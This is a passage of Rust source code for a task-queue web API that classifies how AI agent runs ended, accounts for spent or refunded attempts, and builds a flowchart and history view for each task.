5420            cost: settled.map(|t| t.cost),
5421        }
5422    }
5423}
5424
5425/// How one pass over a run ended, as far as the task's life is concerned.
5426#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5427#[serde(rename_all = "snake_case")]
5428enum RunExit {
5429    Unreadable,
5430    /// An earlier pass of a run id that appears again: it stopped short.
5431    Interrupted,
5432    Parked,
5433    QuotaStall,
5434    /// Stalled on a resumed pass with quota losses on record: they may be
5435    /// left over from an earlier pass, so whether this one was refunded is
5436    /// not knowable.
5437    ResumedQuotaStall,
5438    Merged,
5439    Ready,
5440    Superseded,
5441    /// The change was already on the base under other commits: the task
5442    /// finished without this run landing anything.
5443    AlreadyInBase,
5444    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5445    Stalled,
5446    /// Blocked / no-op with a pull request left open: held for a person.
5447    HeldWithPr,
5448    NoopHeld,
5449    /// Blocked or failed: the attempt is spent and the task retries or holds.
5450    Spent,
5451    InProgress,
5452}
5453
5454#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5455#[serde(rename_all = "snake_case")]
5456enum AttemptCost {
5457    Spent,
5458    Refunded,
5459    None,
5460    /// Cannot be told from the records that remain.
5461    Unknown,
5462}
5463
5464impl RunExit {
5465    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5466        let Some(s) = s else {
5467            return Self::Unreadable;
5468        };
5469        let status = s.status;
5470        if resumed_later {
5471            Self::Interrupted
5472        } else if s.parked {
5473            Self::Parked
5474        } else if !status.done() {
5475            Self::InProgress
5476        } else if matches!(status, RunStatus::Merged) {
5477            Self::Merged
5478        } else if matches!(status, RunStatus::Ready) {
5479            Self::Ready
5480        } else if matches!(status, RunStatus::Superseded) {
5481            Self::Superseded
5482        } else if matches!(status, RunStatus::AlreadyInBase) {
5483            Self::AlreadyInBase
5484        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5485            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5486        {
5487            if resumed {
5488                Self::ResumedQuotaStall
5489            } else {
5490                Self::QuotaStall
5491            }
5492        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5493            Self::HeldWithPr
5494        } else if matches!(status, RunStatus::VerifiedNoop) {
5495            Self::NoopHeld
5496        } else if matches!(status, RunStatus::Stalled) {
5497            Self::Stalled
5498        } else {
5499            Self::Spent
5500        }
5501    }
5502
5503    fn cost(self) -> AttemptCost {
5504        match self {
5505            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5506            Self::Merged
5507            | Self::Ready
5508            | Self::Stalled
5509            | Self::HeldWithPr
5510            | Self::NoopHeld
5511            | Self::Spent => AttemptCost::Spent,
5512            Self::InProgress => AttemptCost::None,
5513            Self::AlreadyInBase => AttemptCost::Refunded,
5514            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5515                AttemptCost::Unknown
5516            }
5517        }
5518    }
5519
5520    /// Short edge wording for leaving a run this way.
5521    fn edge_label(self, status: Option<&str>) -> String {
5522        match self {
5523            Self::Unreadable => "record unreadable".to_owned(),
5524            Self::Interrupted => "interrupted before the run finished".to_owned(),
5525            Self::Parked => "parked, attempt refunded".to_owned(),
5526            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5527            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5528            Self::Merged => "merged".to_owned(),
5529            Self::Ready => "ready, not merged".to_owned(),
5530            Self::Superseded => "superseded by a later attempt".to_owned(),
5531            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5532            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5533            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5534            Self::NoopHeld => "verified no-op".to_owned(),
5535            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5536            Self::InProgress => "in progress".to_owned(),
5537        }
5538    }
5539
5540    /// Does a task in `end` follow from a run that ended this way? When not,
5541    /// somebody closed or held the task by hand.
5542    fn explains(self, end: TaskStatus) -> bool {
5543        match self {
5544            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5545            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5546            Self::Unreadable | Self::Superseded | Self::Ready => true,
5547            _ => end != TaskStatus::Done,
5548        }
5549    }
5550}
5551
5552/// `GET /api/queue/{id}` - one task with every attempt it went through.
5553#[derive(Debug, Serialize)]
5554struct TaskDetailView {
5555    #[serde(flatten)]
5556    task: TaskView,
5557    /// Task override, or the default daemon budget when inherited.
5558    /// A separate loop's command-line limit is not visible from here.
5559    max_attempts: usize,
5560    history: Vec<TaskRunView>,
5561    /// Entries in `history`: passes over runs, not distinct runs and not
5562    /// attempts consumed (`task.attempts`).
5563    passes_total: usize,
5564    /// Distinct runs those passes belong to.
5565    runs_distinct: usize,
5566    flow: FlowView,
5567    /// Set for a follow-up task; see [`followup_origin`].
5568    followup_origin: Option<FollowUpOrigin>,
5569    /// How many entries of `history` could not be read.
5570    runs_unreadable: usize,
5571    /// Why the attempt count can be lower than the number of runs.
5572    attempts_note: &'static str,
5573}
5574
5575const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5576and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5577on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5578the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5579
5580/// The branch a review-only run reopened, read off the instruction
5581/// `Runner::open_review` writes.
5582fn review_branch_of(instruction: &str) -> Option<&str> {
5583    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5584    rest.split('`').next().filter(|b| !b.is_empty())
5585}
5586
5587/// Where an entry sits in a task's run list.
5588#[derive(Default)]
5589struct RunSlot<'a> {
5590    /// 1-based position.
5591    n: usize,
5592    /// The same run id appeared earlier: this pass resumed it.
5593    resumed: bool,
5594    /// Position of a later pass over the same run id, if any.
5595    resumed_later: Option<usize>,
5596    /// The previous distinct run and how it ended, for the retry note.
5597    prior: Option<(&'a str, RunStatus)>,
5598    last: bool,
5599    /// This pass as the run recorded it, when it did.
5600    pass: Option<&'a crate::run::RunPass>,
5601    /// What the task recorded when it settled this pass.
5602    settled: Option<&'a crate::queue::TaskPass>,
5603    /// 1-based position among the task's entries for this run, and their count.
5604    pass_n: usize,
5605    passes_of_run: usize,
5606}
5607
5608/// Describe one entry of a task's run list. Pure: everything it needs is on
5609/// the run and the task, so it is asserted without a server.
5610fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5611    let RunSlot {
5612        n,
5613        resumed,
5614        resumed_later,
5615        prior,
5616        last,
5617        pass,
5618        settled,
5619        pass_n,
5620        passes_of_run,
5621    } = at;
5622    let short = run::short_of(id).to_owned();
5623    let Some(s) = state else {
5624        return TaskRunView {
5625            n,
5626            id: id.to_owned(),
5627            short,
5628            kind: "unknown",
5629            status: None,
5630            readable: false,
5631            provisional: false,
5632            description:
5633                "This run's record could not be read by this build (written by a different \
5634                          magi, or removed), so what kind of attempt it was is unknown."
5635                    .to_owned(),
5636            outcome: String::new(),
5637            created_at: None,
5638            pr: None,
5639            exit: RunExit::Unreadable,
5640            attempt: AttemptCost::Unknown,
5641            exit_label: RunExit::Unreadable.edge_label(None),
5642            later_pass: resumed_later,
5643            pass_n,
5644            passes_of_run,
5645            pass: None,
5646            branch: None,
5647            badge: None,
5648        };
5649    };
5650    let branch = review_branch_of(&s.instruction);
5651    let kind = if resumed {
5652        "resume"
5653    } else if branch.is_some() {
5654        "review"
5655    } else if task.solo || s.candidates.len() == 1 {
5656        "solo"
5657    } else {
5658        "competition"
5659    };
5660    let mut description = match kind {
5661        "resume" => {
5662            format!("Resumed run {short}: the same run carried on instead of competing again.")
5663        }
5664        "review" => format!(
5665            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5666            branch.unwrap_or_default()
5667        ),
5668        "solo" => "Solo run: one implementer straight into review.".to_owned(),
5669        _ => format!(
5670            "Competition: {} candidates judged blind.",
5671            s.candidates.len().max(1)
5672        ),
5673    };
5674    if !resumed && let Some((p, st)) = prior {
5675        description.push_str(&format!(
5676            " A retry: run {p} before it ended {}.",
5677            st.display_label()
5678        ));
5679    }
5680
5681    let status = s.status;
5682    let provisional = matches!(status, RunStatus::Stalled)
5683        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5684    let head = if resumed_later.is_some() {
5685        String::new()
5686    } else {
5687        match status {
5688            RunStatus::Merged => "Merged.".to_owned(),
5689            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5690            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5691            RunStatus::AlreadyInBase => {
5692                "Already in the base: this change landed under other commits, nothing was left to land."
5693                    .to_owned()
5694            }
5695            RunStatus::Stalled => {
5696                "Stalled: the judging panel never reached a quorum, so there is no verdict."
5697                    .to_owned()
5698            }
5699            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5700            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5701            RunStatus::VerifiedNoop => {
5702                "Verified no-op: the candidates found nothing to change.".to_owned()
5703            }
5704            other if other.done() => format!("Ended {}.", other.display_label()),
5705            other => format!("In progress ({}).", other.display_label()),
5706        }
5707    };
5708    let view = pass.map(|p| PassView::of(p, settled));
5709    let recorded_end = view
5710        .as_ref()
5711        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5712    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5713        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5714        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5715        None => "whether its attempt was handed back was not recorded",
5716    };
5717    let pass_note = if passes_of_run > 1 {
5718        format!(
5719            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5720        )
5721    } else {
5722        String::new()
5723    };
5724    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5725        // The run recorded this pass's end when it happened.
5726        let cause = match v.end {
5727            "parked" => format!("It was stopped on purpose: {}.", v.label),
5728            _ => format!("It {}.", v.label),
5729        };
5730        format!(
5731            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5732            capitalise(cost_words)
5733        )
5734    } else if let Some(k) = resumed_later {
5735        // A run is only picked up again while it is unfinished, so an earlier
5736        // pass of a repeated id stopped short; the record keeps only the run's
5737        // latest status, which is left to the pass that carried it on.
5738        // Only the latest state is recorded: `parked` is cleared on resume
5739        // and `quota` accumulates across passes, so neither says why *this*
5740        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5741        let cause = if s.quota.is_empty() {
5742            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5743        } else {
5744            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5745        };
5746        format!(
5747            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5748        )
5749    } else if s.parked {
5750        match recorded_end.and_then(|v| v.cause.as_ref()) {
5751            Some(cause) => format!(
5752                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5753                cause.label(),
5754                cost_words
5755            ),
5756            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5757                .to_owned(),
5758        }
5759    } else if !status.done()
5760        || matches!(
5761            status,
5762            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5763        )
5764    {
5765        String::new()
5766    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5767        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5768    {
5769        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5770            .to_owned()
5771    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5772        " It left a pull request open, so the task was held for a person rather than retried."
5773            .to_owned()
5774    } else if matches!(status, RunStatus::VerifiedNoop) {
5775        " Held for a person to check the claim.".to_owned()
5776    } else if last {
5777        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5778    } else {
5779        " It spent an attempt, and the task moved on to the next run.".to_owned()
5780    };
5781    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5782    let mut attempt = exit.cost();
5783    let mut exit_label = None;
5784    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5785        let spent = match v.cost {
5786            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5787            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5788            None if resumed_later.is_some() => ", refund not recorded",
5789            None => ", attempt refunded",
5790        };
5791        attempt = match v.cost {
5792            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5793            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5794            None if resumed_later.is_some() => AttemptCost::Unknown,
5795            None => attempt,
5796        };
5797        if v.end == "parked" {
5798            exit = RunExit::Parked;
5799            exit_label = Some(match v.cause.as_ref() {
5800                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5801                    format!("parked for {}{spent}", c.label())
5802                }
5803                Some(c) => format!("parked ({}){spent}", c.label()),
5804                None => format!("parked{spent}"),
5805            });
5806        } else {
5807            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5808        }
5809    }
5810    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5811    TaskRunView {
5812        n,
5813        id: id.to_owned(),
5814        short,
5815        kind,
5816        status: Some(status.as_str()),
5817        readable: true,
5818        provisional,
5819        description,
5820        outcome: format!("{head}{why}"),
5821        created_at: Some(s.created_at),
5822        pr: s.pr.as_ref().map(|p| p.url.clone()),
5823        exit,
5824        attempt,
5825        exit_label,
5826        later_pass: resumed_later,
5827        pass_n,
5828        passes_of_run,
5829        pass: view,
5830        branch: branch.map(str::to_owned),
5831        badge: None,
5832    }
5833}
5834
5835fn capitalise(s: &str) -> String {
5836    let mut c = s.chars();
5837    c.next().map_or_else(String::new, |f| {
5838        f.to_uppercase().collect::<String>() + c.as_str()
5839    })
5840}
5841
5842/// One box of the task's flowchart.
5843#[derive(Debug, Serialize, PartialEq)]
5844struct FlowNode {
5845    /// Unique by position: a resumed run id appears once per pass.
5846    key: String,
5847    /// `chat`, `followup`, `start`, `run` or `end`.
5848    kind: &'static str,
5849    label: String,
5850    /// Run status (or the task's, for `end`); `None` when it is not a fact
5851    /// about this box (unreadable, or a pass the run later resumed from).
5852    status: Option<&'static str>,
5853    /// Whose status `status` is, so the client picks the right colour table:
5854    /// `task` (the `followup` parent and `end`) or `run`.
5855    status_of: &'static str,
5856    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5857    note: Option<&'static str>,
5858    run_kind: Option<&'static str>,
5859    detail: Option<String>,
5860    /// A readable run with a real verdict; a stall never is.
5861    decided: bool,
5862    readable: bool,
5863    href: Option<String>,
5864    /// Overrides `status` as the badge word (`stale` / `superseded`).
5865    badge: Option<String>,
5866    /// Start of this entry, never the run's latest update or pass settlement.
5867    started_at: Option<Timestamp>,
5868    /// Context links (chat / follow-up) do not represent execution entries.
5869    time_expected: bool,
5870}
5871
5872#[derive(Debug, Serialize, PartialEq)]
5873struct FlowEdge {
5874    from: String,
5875    to: String,
5876    label: String,
5877    attempt: AttemptCost,
5878}
5879
5880#[derive(Debug, Serialize, PartialEq)]
5881struct FlowView {
5882    nodes: Vec<FlowNode>,
5883    edges: Vec<FlowEdge>,
5884    /// Attempts the task has counted since it was last released.
5885    attempts: usize,
5886    max_attempts: usize,
5887    /// Entries in the run list (passes), and how many distinct runs they are.
5888    /// Neither is the number of attempts consumed.
5889    passes: usize,
5890    runs: usize,
5891}
5892
5893/// Turn a task and its described runs into the flowchart's boxes and arrows.
5894/// Pure: the page only draws what this returns.
5895///
5896/// A follow-up opens with its parent (or the merged run) unless the task's
5897/// *source* is itself a chat, in which case the chat stays first and the
5898/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5899/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5900/// two normally do not coincide and the nearer origin wins.
5901fn task_flow(
5902    task: &Task,
5903    history: &[TaskRunView],
5904    max_attempts: usize,
5905    origin: Option<&FollowUpOrigin>,
5906) -> FlowView {
5907    let max_attempts = task.effective_attempt_limit(max_attempts);
5908    let node = |key: &str, kind, label: String| FlowNode {
5909        key: key.to_owned(),
5910        kind,
5911        label,
5912        status: None,
5913        status_of: "run",
5914        note: None,
5915        run_kind: None,
5916        detail: None,
5917        decided: false,
5918        readable: true,
5919        href: None,
5920        badge: None,
5921        started_at: None,
5922        time_expected: matches!(kind, "start" | "run" | "end"),
5923    };
5924    let mut nodes = Vec::new();
5925    let mut edges: Vec<FlowEdge> = Vec::new();
5926    // A task queued from a chat opens the flow with that conversation.
5927    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5928        let mut n = node(
5929            "chat",
5930            "chat",
5931            format!("Chat {}", crate::queue::short(&link.id)),
5932        );
5933        n.href = Some(link.href);
5934        nodes.push(n);
5935        edges.push(FlowEdge {
5936            from: "chat".to_owned(),
5937            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5938            label: "queued from chat".to_owned(),
5939            attempt: AttemptCost::None,
5940        });
5941    }
5942    if let Some(o) = origin {
5943        let mut n = match &o.parent {
5944            Some(p) => {
5945                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5946                n.status = Some(p.status);
5947                n.status_of = "task";
5948                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5949                n.href = Some(p.href.clone());
5950                n
5951            }
5952            None => {
5953                let mut n = node(
5954                    "origin",
5955                    "followup",
5956                    format!("Follow-up of run {}", o.run.short),
5957                );
5958                n.detail = Some("merged run".to_owned());
5959                n.status = o.run.status;
5960                n.href = o.run.href.clone();
5961                if o.run.href.is_none() {
5962                    n.readable = false;
5963                    n.note = Some("unreadable");
5964                }
5965                n
5966            }
5967        };
5968        n.decided = true;
5969        let from = n.key.clone();
5970        nodes.push(n);
5971        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5972        let more = o.findings.len().saturating_sub(shown.len());
5973        let label = match (shown.is_empty(), more) {
5974            (true, _) => "open findings".to_owned(),
5975            (false, 0) => format!("open findings {}", shown.join(", ")),
5976            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5977        };
5978        edges.push(FlowEdge {
5979            from,
5980            to: "start".to_owned(),
5981            label,
5982            attempt: AttemptCost::None,
5983        });
5984    }
5985    let mut start = node("start", "start", "Task queued".to_owned());
5986    start.started_at = Some(task.created_at);
5987    nodes.push(start);
5988    let mut prev = "start".to_owned();
5989    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5990    for (i, h) in history.iter().enumerate() {
5991        let key = format!("run-{}", h.n);
5992        let mut n = node(&key, "run", format!("Run {}", h.short));
5993        // Creation marks only the first pass of legacy runs. A resumed pass
5994        // without a record must not inherit the original run's start time.
5995        n.started_at = h
5996            .readable
5997            .then(|| {
5998                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5999                    h.created_at
6000                } else {
6001                    None
6002                })
6003            })
6004            .flatten();
6005        n.run_kind = Some(h.kind);
6006        n.readable = h.readable;
6007        n.href = Some(format!("#/runs/{}", h.id));
6008        n.decided = h.readable && !h.provisional;
6009        n.detail = h
6010            .branch
6011            .as_ref()
6012            .map(|b| format!("review-only run of branch {b}"));
6013        match h.exit {
6014            RunExit::Unreadable => n.note = Some("unreadable"),
6015            RunExit::Interrupted => n.note = Some("interrupted"),
6016            // An earlier pass the run recorded as parked: the status shown
6017            // would be the run's current one, not this pass's.
6018            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6019            _ => {
6020                n.status = h.status;
6021                n.badge = h.badge.clone();
6022                if h.provisional {
6023                    n.note = Some("no verdict");
6024                }
6025            }
6026        }
6027        let into = match h.kind {
6028            "review" => Some(format!(
6029                "review-only run of branch {}",
6030                h.branch.as_deref().unwrap_or("?")
6031            )),
6032            "resume" => Some("resume the same run".to_owned()),
6033            _ if i > 0 => Some("retry".to_owned()),
6034            _ => None,
6035        };
6036        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6037        let label = match (prev_exit, into) {
6038            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6039            (Some((_, l, _)), None) => l,
6040            (None, Some(i)) => i,
6041            (None, None) => "claimed".to_owned(),
6042        };
6043        edges.push(FlowEdge {
6044            from: prev.clone(),
6045            to: key.clone(),
6046            label,
6047            attempt,
6048        });
6049        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6050        prev = key;
6051        nodes.push(n);
6052    }
6053    let mut end = node("end", "end", task.status.as_str().to_owned());
6054    end.status = Some(task.status.as_str());
6055    end.status_of = "task";
6056    // Other task states do not persist their transition start. In particular,
6057    // blocked_at can change while the task remains blocked.
6058    if task.status == TaskStatus::Held {
6059        end.started_at = task.held_at;
6060    }
6061    nodes.push(end);
6062    let (label, attempt) = match prev_exit {
6063        None => (
6064            format!("no run yet \u{2192} {}", task.status.as_str()),
6065            AttemptCost::None,
6066        ),
6067        Some((e, l, cost)) if e.explains(task.status) => {
6068            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6069        }
6070        Some((_, _, cost)) => (
6071            format!("closed by hand: task is {}", task.status.as_str()),
6072            cost,
6073        ),
6074    };
6075    edges.push(FlowEdge {
6076        from: prev,
6077        to: "end".to_owned(),
6078        label,
6079        attempt,
6080    });
6081    FlowView {
6082        nodes,
6083        edges,
6084        attempts: task.attempts,
6085        max_attempts,
6086        passes: history.len(),
6087        runs: distinct_runs(&task.runs),
6088    }
6089}
6090
6091/// How many different run ids a task's run list names.
6092fn distinct_runs(runs: &[String]) -> usize {
6093    let mut seen: Vec<&str> = Vec::new();
6094    for r in runs {
6095        if !seen.contains(&r.as_str()) {
6096            seen.push(r);
6097        }
6098    }
6099    seen.len()
6100}
6101
6102/// Describe recorded task passes, retaining unrecorded legacy list entries.
6103fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6104    let mut slots = Vec::new();
6105    let mut seen = Vec::new();
6106    for run_id in &task.runs {
6107        if seen.contains(&run_id) {
6108            continue;
6109        }
6110        seen.push(run_id);
6111        let state = read(run_id);
6112        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6113            s.passes
6114                .iter()
6115                .filter(|p| {
6116                    p.task_entry
6117                        || task
6118                            .passes
6119                            .iter()
6120                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6121                })
6122                .cloned()
6123                .collect()
6124        });
6125        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6126        let total = legacy_count.max(mine.len());
6127        let offset = total - mine.len();
6128        for k in 0..total {
6129            // Legacy repeated entries retain their original positions. When
6130            // ids are unique, recorded pass times recover the resume order.
6131            let position = task
6132                .runs
6133                .iter()
6134                .enumerate()
6135                .filter(|(_, r)| *r == run_id)
6136                .nth(k.min(legacy_count - 1))
6137                .unwrap()
6138                .0;
6139            slots.push((
6140                run_id,
6141                state.clone(),
6142                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6143                position,
6144            ));
6145        }
6146    }
6147    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6148        slots.sort_by_key(|(_, state, pass, _)| {
6149            pass.as_ref()
6150                .map(|p| p.started_at)
6151                .or_else(|| state.as_ref().map(|s| s.created_at))
6152                .map_or((true, task.created_at), |at| (false, at))
6153        });
6154    } else {
6155        slots.sort_by_key(|(_, _, _, position)| *position);
6156    }
6157    let mut history = Vec::with_capacity(slots.len());
6158    let mut seen: Vec<&str> = Vec::new();
6159    let mut prior: Option<(&str, RunStatus)> = None;
6160    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6161        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6162        let resumed = k > 0;
6163        seen.push(run_id);
6164        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6165        let pass = pass.as_ref();
6166        let settled = pass.and_then(|p| {
6167            task.passes
6168                .iter()
6169                .find(|t| t.run == **run_id && t.pass_index == p.index)
6170        });
6171        history.push(task_run_view(
6172            run_id,
6173            state.as_ref(),
6174            RunSlot {
6175                n: i + 1,
6176                resumed,
6177                resumed_later: slots[i + 1..]
6178                    .iter()
6179                    .position(|(id, _, _, _)| id == run_id)
6180                    .map(|off| i + off + 2),
6181                prior,
6182                last: i + 1 == slots.len(),
6183                pass,
6184                settled,
6185                pass_n: k + 1,
6186                passes_of_run: total,
6187            },
6188            task,
6189        ));
6190        if let Some(s) = &state {
6191            prior = Some((run::short_of(run_id), s.status));
6192        }
6193    }
6194    history
6195}
6196
6197/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6198/// An earlier pass of a resumed run keeps no badge (it has no status box).
6199fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6200    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6201        return;
6202    }
6203    let (_, claimed, _) = run_row_inputs(ui);
6204    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6205    for h in history
6206        .iter_mut()
6207        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6208    {
6209        let Ok(state) = read_run(&ui.runs, &h.id) else {
6210            continue;
6211        };
6212        if state.status.done() {
6213            continue;
6214        }
6215        let live = state.liveness_with(
6216            claimed.contains(&h.id),
6217            |p| probe.borrow_mut().status(p),
6218            |p| probe.borrow_mut().started_at(p),
6219        );
6220        let waiting = !ui.questions.open_for(&h.id).is_empty();
6221        let display = run_display_status(&state, waiting, live);
6222        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6223        if matches!(word.as_str(), "stale" | "superseded")
6224            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6225        {
6226            h.badge = Some(word);
6227        }
6228    }
6229}
6230
6231async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6232    blocking(move || {
6233        let id = resolve_task(&ui.queue, &id)?;
6234        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6235    })
6236    .await
6237}
6238
6239async fn task_detail(
6240    State(ui): State<Arc<Ui>>,
6241    Path(id): Path<String>,
6242) -> ApiResult<Json<TaskDetailView>> {
6243    blocking(move || {
6244        let id = resolve_task(&ui.queue, &id)?;
6245        let task = ui
6246            .queue
6247            .get(&id)
6248            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6249        let inv = if task.status == TaskStatus::Blocked {
6250            Some(crate::blockers::Inventory::load_for(
6251                &ui.queue,
6252                &ui.questions,
6253                &task,
6254            ))
6255        } else {
6256            None
6257        };
6258        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6259        mark_badges(&ui, &task, &mut history);
6260        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6261        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6262        let origin = task.followup.as_ref().map(|fu| {
6263            followup_origin(
6264                fu,
6265                |tid| ui.queue.get(tid).ok(),
6266                |rid| read_run(&ui.runs, rid).ok(),
6267            )
6268        });
6269        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6270        let task_view = match inv.as_ref() {
6271            Some(inv) => TaskView::with_inventory(task, inv),
6272            None => TaskView::from(task),
6273        };
6274        Ok(Json(TaskDetailView {
6275            max_attempts,
6276            flow,
6277            followup_origin: origin,
6278            passes_total: history.len(),
6279            runs_distinct: distinct_runs(&task_view.task.runs),
6280            history,
6281            runs_unreadable,
6282            attempts_note: ATTEMPTS_NOTE,
6283            task: task_view,
6284        }))
6285    })
6286    .await
6287}
6288
6289/// A rate together with its denominator, so the client can tell "computed as
6290/// 0%" apart from "no data to compute it from" — both would otherwise
6291/// serialize as `0.0`. `None` means the denominator was zero.
6292#[derive(Debug, Serialize)]
6293struct RateView {
6294    pct: f64,
6295    denominator: usize,
6296}
6297
6298impl RateView {
6299    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6300        (denominator > 0).then(|| Self {
6301            pct: 100.0 * numerator as f64 / denominator as f64,
6302            denominator,
6303        })
6304    }
6305}
6306
6307/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6308/// rates, each paired with its own denominator via [`RateView`] rather than
6309/// exposing `Stats`' own percentage methods directly — see this module's
6310/// doc for why `Stats` itself is never serialized.
6311#[derive(Debug, Serialize)]
6312struct StatsTotalsView {
6313    runs: usize,
6314    merged: usize,
6315    ready: usize,
6316    blocked: usize,
6317    failed: usize,
6318    stalled: usize,
6319    verified_noop: usize,
6320    superseded: usize,
6321    in_progress: usize,
6322    completion_rate: Option<RateView>,
6323    tallied: usize,
6324    split: usize,
6325    split_rate: Option<RateView>,
6326    deliberated: usize,
6327    minds_changed: usize,
6328    converged: usize,
6329    review_rounds: usize,
6330}
6331
6332impl From<&stats::Totals> for StatsTotalsView {
6333    fn from(t: &stats::Totals) -> Self {
6334        Self {
6335            runs: t.runs,
6336            merged: t.merged,
6337            ready: t.ready,
6338            blocked: t.blocked,
6339            failed: t.failed,
6340            stalled: t.stalled,
6341            verified_noop: t.verified_noop,
6342            superseded: t.superseded,
6343            in_progress: t.in_progress,
6344            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6345            tallied: t.tallied,
6346            split: t.split,
6347            split_rate: RateView::of(t.split, t.tallied),
6348            deliberated: t.deliberated,
6349            minds_changed: t.minds_changed,
6350            converged: t.converged,
6351            review_rounds: t.review_rounds,
6352        }
6353    }
6354}
6355
